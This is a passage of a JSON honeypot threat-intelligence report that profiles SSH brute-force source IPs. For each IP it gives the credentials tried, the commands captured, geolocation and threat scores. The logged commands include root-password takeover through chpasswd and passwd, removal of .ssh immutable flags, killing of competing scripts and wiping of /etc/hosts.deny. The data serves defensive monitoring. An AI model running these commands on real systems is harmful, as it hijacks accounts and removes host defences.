        "rtest",
        "vyos",
        "adminer",
        "ann",
        "apolo",
        "backend",
        "ceshi",
        "coder",
        "cody",
        "deploy",
        "gns3",
        "hyun",
        "sammy",
        "sansforensics",
        "sim",
        "team1",
        "zjsf"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "123456",
        "password",
        "Admin@123",
        "Apolo123",
        "Fw123456@",
        "Sim123!",
        "abc123!@#",
        "backend1234",
        "bert",
        "ceshi1234",
        "coder123!",
        "rtest123",
        "sammy1234",
        "sansforensicspass",
        "team1",
        "vyos123!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"bert\\nydLocYYvQESt\\nydLocYYvQESt\\n\"|passwd",
        "echo \"root:KPF5pa2aPdDz\"|chpasswd|bash",
        "echo \"rtest123\\n3NSF3DysacRp\\n3NSF3DysacRp\\n\"|passwd",
        "echo \"vyos123!\\nLpywTBYFq2en\\nLpywTBYFq2en\\n\"|passwd",
        "echo -e \"bert\\nydLocYYvQESt\\nydLocYYvQESt\"|passwd|bash",
        "echo -e \"rtest123\\n3NSF3DysacRp\\n3NSF3DysacRp\"|passwd|bash",
        "echo -e \"vyos123!\\nLpywTBYFq2en\\nLpywTBYFq2en\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Peru",
      "country_code": "PE",
      "city": "Lima",
      "asn": 266732,
      "as_org": "FIBERTEL PERU S.A.",
      "threat_score": 23.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.4,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 439,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T23:21:00.747000+00:00",
        "last_seen_30d": "2026-03-16T14:50:39.965000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 375,
        "Suricata": 64
      }
    },
    "103.86.198.253": {
      "attack_count": 342,
      "first_seen": "2026-03-02T20:43:12.351Z",
      "last_seen": "2026-03-21T06:44:02.430Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin1",
        "kapsch",
        "oracle",
        "bkp",
        "csserver",
        "hu",
        "joshua",
        "laurence",
        "ntpo",
        "portal",
        "postgres",
        "rtorrent",
        "sc",
        "sftp",
        "ultra",
        "userm"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1233218613f",
        "1234",
        "0okm(IJN8uhb",
        "1029384756",
        "123",
        "12345",
        "Abc12345",
        "Admin2016!",
        "Hu123!",
        "Laurence",
        "P@ssw0rd",
        "QWEqwe123456",
        "Sc",
        "a1s2d3f4g5h6",
        "a3b2c1",
        "admin1234",
        "alex",
        "bkppassword"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"1233218613f\\nwZ2IlXqiJd5q\\nwZ2IlXqiJd5q\\n\"|passwd",
        "echo \"1234\\nIlFS5P1KjCeH\\nIlFS5P1KjCeH\\n\"|passwd",
        "echo \"P@ssw0rd\\n5JuUVI3bNZGC\\n5JuUVI3bNZGC\\n\"|passwd",
        "echo -e \"1233218613f\\nwZ2IlXqiJd5q\\nwZ2IlXqiJd5q\"|passwd|bash",
        "echo -e \"1234\\nIlFS5P1KjCeH\\nIlFS5P1KjCeH\"|passwd|bash",
        "echo -e \"P@ssw0rd\\n5JuUVI3bNZGC\\n5JuUVI3bNZGC\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Bangladesh",
      "country_code": "BD",
      "city": null,
      "asn": 18109,
      "as_org": "MAISHA NET",
      "threat_score": 36.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.2,
        "persistence": 16.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 421,
        "days_active_30d": 20,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T20:43:12.351000+00:00",
        "last_seen_30d": "2026-03-21T06:45:09.244000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 342,
        "Suricata": 79
      }
    },
    "154.91.90.27": {
      "attack_count": 330,
      "first_seen": "2026-03-10T10:26:08.993Z",
      "last_seen": "2026-03-10T10:51:36.200Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "jessica",
        "live",
        "root",
        "teamspeak",
        "acer",
        "ahmad",
        "clawd",
        "gw",
        "legales",
        "localhost",
        "pilot"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345",
        "123",
        "123456",
        "Admin@#123",
        "Gw123",
        "Jessica123",
        "Live123",
        "Pilot123!",
        "acer1234",
        "localhost"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"12345\\nJSJpoCwDIMSZ\\nJSJpoCwDIMSZ\\n\"|passwd",
        "echo \"Jessica123\\neI0CZN06ecu1\\neI0CZN06ecu1\\n\"|passwd",
        "echo \"Live123\\n3L2h7fHvLv3S\\n3L2h7fHvLv3S\\n\"|passwd",
        "echo \"root:VNIIgaRecsj7\"|chpasswd|bash",
        "echo -e \"12345\\nJSJpoCwDIMSZ\\nJSJpoCwDIMSZ\"|passwd|bash",
        "echo -e \"Jessica123\\neI0CZN06ecu1\\neI0CZN06ecu1\"|passwd|bash",
        "echo -e \"Live123\\n3L2h7fHvLv3S\\n3L2h7fHvLv3S\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 399077,
      "as_org": "Tcloudnet",
      "threat_score": 11.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 374,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T10:26:08.993000+00:00",
        "last_seen_30d": "2026-03-10T10:52:39.897000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 330,
        "Suricata": 44
      }
    },
    "152.32.252.65": {
      "attack_count": 328,
      "first_seen": "2026-03-03T15:46:03.321Z",
      "last_seen": "2026-03-30T12:14:03.718Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "gns3",
        "arkserver",
        "es_user",
        "jon",
        "mitra",
        "omega",
        "pavel",
        "t128",
        "verdaccio"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1234",
        "12345",
        "123456",
        "12345678",
        "1qaz2wsx_",
        "Aa111111",
        "Aa123456!!",
        "Abcd1234.",
        "Arkserver123",
        "Bingo@1993",
        "Fz123456",
        "Gns3123",
        "Huawei@2026",
        "Sm123456",
        "Venus@123",
        "hengbing147258369",
        "huanmuchina"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Gns3123\\niI1aWGBtWiD5\\niI1aWGBtWiD5\\n\"|passwd",
        "echo \"root:KgkPFt6z4teC\"|chpasswd|bash",
        "echo \"root:ob6eLlCoUPXa\"|chpasswd|bash",
        "echo -e \"Gns3123\\niI1aWGBtWiD5\\niI1aWGBtWiD5\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 59.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 26.0,
        "persistence": 23.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 396,
        "days_active_30d": 28,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T15:46:03.321000+00:00",
        "last_seen_30d": "2026-03-30T12:15:12.196000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 328,
        "Suricata": 68
      }
    },
    "168.144.28.22": {
      "attack_count": 320,
      "first_seen": "2026-03-02T16:47:02.954Z",
      "last_seen": "2026-03-02T17:32:18.785Z",
      "sessions": 63,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "!@#$%^&*",
        "000000",
        "111111",
        "123",
        "123123",
        "123321",
        "1234",
        "12345",
        "123456",
        "12345678",
        "123456789",
        "1234567890",
        "123abc",
        "123qwe",
        "1q2w3e4r",
        "1qaz2wsx",
        "654321",
        "888888",
        "Admin123",
        "P@ssw0rd"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 3.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 456,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T16:47:02.954000+00:00",
        "last_seen_30d": "2026-03-02T17:33:26.975000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 320,
        "Suricata": 136
      }
    },
    "103.98.176.164": {
      "attack_count": 310,
      "first_seen": "2026-03-09T15:48:19.415Z",
      "last_seen": "2026-03-28T20:40:39.608Z",
      "sessions": 37,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "claude",
        "zhangsan",
        "evan",
        "hzy",
        "k8s",
        "kishore",
        "readonlyuser",
        "super",
        "tunnel",
        "ubuntu",
        "webapps"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "!abc123",
        "123098",
        "123456",
        "332211",
        "ASDFqwer1234",
        "Aa@12345",
        "K8s123",
        "P@SSW0RD123123",
        "Root_123",
        "Wa123456!",
        "abc@123?",
        "admin#2024",
        "evan",
        "hzy123!",
        "jeffery",
        "jellyfish",
        "kishore1234"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"password\\n3oztU27svn12\\n3oztU27svn12\\n\"|passwd",
        "echo \"root:24Zf1gvcjtXE\"|chpasswd|bash",
        "echo -e \"password\\n3oztU27svn12\\n3oztU27svn12\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136827,
      "as_org": "Universitas PGRI Semarang",
      "threat_score": 49.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 26.0,
        "persistence": 16.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 400,
        "days_active_30d": 20,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-09T15:48:19.415000+00:00",
        "last_seen_30d": "2026-03-28T20:41:48.022000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 310,
        "Suricata": 90
      }
    },
    "185.196.10.197": {
      "attack_count": 310,
      "first_seen": "2026-03-03T21:08:47.851Z",
      "last_seen": "2026-03-09T01:21:45.338Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "proradis",
        "aroot",
        "francesco",
        "gitlab",
        "nodejs",
        "posiflex",
        "sambauser",
        "test01",
        "tibero"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "!@#qweASDzxc",
        "1234",
        "12345",
        "12345678",
        "1QAZxsw2!@",
        "1qaz2WSX",
        "Aa12345@",
        "Admin1234@",
        "Bingo@1993",
        "Hn123456@",
        "P@$$w0rd@1234",
        "a1b2c3",
        "arootpass",
        "mama1234",
        "password",
        "test.123",
        "test01123!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"password\\n4mWmL8e7lfKy\\n4mWmL8e7lfKy\\n\"|passwd",
        "echo \"root:FHxaXfHB2gXi\"|chpasswd|bash",
        "echo \"root:lJWRgldA4b3C\"|chpasswd|bash",
        "echo -e \"password\\n4mWmL8e7lfKy\\n4mWmL8e7lfKy\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 42624,
      "as_org": "Global-Data System IT Corporation",
      "threat_score": 11.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.7,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 372,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T21:08:47.851000+00:00",
        "last_seen_30d": "2026-03-09T01:22:46.193000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 310,
        "Suricata": 62
      }
    },
    "107.173.37.94": {
      "attack_count": 304,
      "first_seen": "2026-03-28T12:44:16.481Z",
      "last_seen": "2026-03-28T14:42:26.321Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!P@ssw0rd!",
        "!QWERTY123",
        "123qwe,./",
        "1qaz!@2wsx",
        "2025.",
        "8756",
        "AAaa1234",
        "Admin001",
        "Admin1234567@",
        "P@ssword1",
        "ft123456",
        "money7",
        "nishizhu",
        "qwasyx21",
        "qwe1234%^&",
        "sS123456",
        "sangoma",
        "ubuntu"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:DUqw1Lgw0SqZ\"|chpasswd|bash",
        "echo \"root:UMeLA2p5C1CP\"|chpasswd|bash",
        "echo \"root:iJZwLACAdslp\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 36352,
      "as_org": "HostPapa",
      "threat_score": 34.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 377,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-28T12:44:16.481000+00:00",
        "last_seen_30d": "2026-03-28T14:43:30.314000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 304,
        "Suricata": 73
      }
    },
    "74.243.239.219": {
      "attack_count": 262,
      "first_seen": "2026-03-10T22:29:53.403Z",
      "last_seen": "2026-03-10T22:51:41.066Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "clawd",
        "dev",
        "root",
        "wei",
        "joao",
        "mahdi",
        "mslee21",
        "reza",
        "soporte",
        "vbox"
      ],
      "passwords_attempted": [
        "123",
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "Dev123!",
        "Ni123456",
        "P@$$w0rd2025",
        "Wei123!",
        "mahdi1234",
        "reza123",
        "vbox"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123\\n5U1H0fK3xeeU\\n5U1H0fK3xeeU\\n\"|passwd",
        "echo \"Dev123!\\nppcD57W3wUvc\\nppcD57W3wUvc\\n\"|passwd",
        "echo \"Wei123!\\n8jomvTCTbagX\\n8jomvTCTbagX\\n\"|passwd",
        "echo -e \"123\\n5U1H0fK3xeeU\\n5U1H0fK3xeeU\"|passwd|bash",
        "echo -e \"Dev123!\\nppcD57W3wUvc\\nppcD57W3wUvc\"|passwd|bash",
        "echo -e \"Wei123!\\n8jomvTCTbagX\\n8jomvTCTbagX\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United Arab Emirates",
      "country_code": "AE",
      "city": "Dubai",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 11.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 300,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T22:29:53.403000+00:00",
        "last_seen_30d": "2026-03-10T22:52:45.460000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 262,
        "Suricata": 38
      }
    },
    "103.194.243.196": {
      "attack_count": 248,
      "first_seen": "2026-03-15T23:32:20.697Z",
      "last_seen": "2026-03-26T06:16:49.646Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "jvj",
        "lisa",
        "online",
        "root",
        "beta",
        "ece",
        "hr",
        "jan",
        "lekaren",
        "passbolt",
        "student5",
        "vpn",
        "work",
        "xx",
        "yzh"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "123",
        "1234",
        "123456Abc",
        "beta",
        "ece",
        "hr123!",
        "jvj",
        "lekarenpass",
        "lisa",
        "vpnpass",
        "work",
        "xx123",
        "yzh123456"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123456\\njMiJ4AqWJJ1R\\njMiJ4AqWJJ1R\\n\"|passwd",
        "echo \"root:xzFm0pUEdGvz\"|chpasswd|bash",
        "echo -e \"123456\\njMiJ4AqWJJ1R\\njMiJ4AqWJJ1R\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.command.failed"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Coimbatore",
      "asn": 134326,
      "as_org": "Airdesign Broadcast Media Pvt Ltd",
      "threat_score": 39.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.8,
        "persistence": 10.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 300,
        "days_active_30d": 12,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T23:32:20.697000+00:00",
        "last_seen_30d": "2026-03-26T06:17:59.715000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 248,
        "Suricata": 52
      }
    },
    "193.233.199.231": {
      "attack_count": 243,
      "first_seen": "2026-03-05T21:48:45.737Z",
      "last_seen": "2026-03-10T19:37:49.973Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "cloud",
        "dbadmin",
        "gw",
        "omar",
        "administrator",
        "alexis",
        "business",
        "clawd",
        "gustavo",
        "info",
        "jason1",
        "jeff",
        "ray",
        "robin",
        "root",
        "tania",
        "trans",
        "vnc",
        "wade"
      ],
      "passwords_attempted": [
        "1234",
        "12345",
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "12345678",
        "Alexis123",
        "Pa$$w0rd",
        "Pi123456",
        "Ray123!",
        "clawd@123",
        "dbadmin123!",
        "infopass",
        "jeff123",
        "omar1234",
        "password",
        "taniapass",
        "trans",
        "vncpass"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"1234\\njcsIhTNKyK30\\njcsIhTNKyK30\\n\"|passwd",
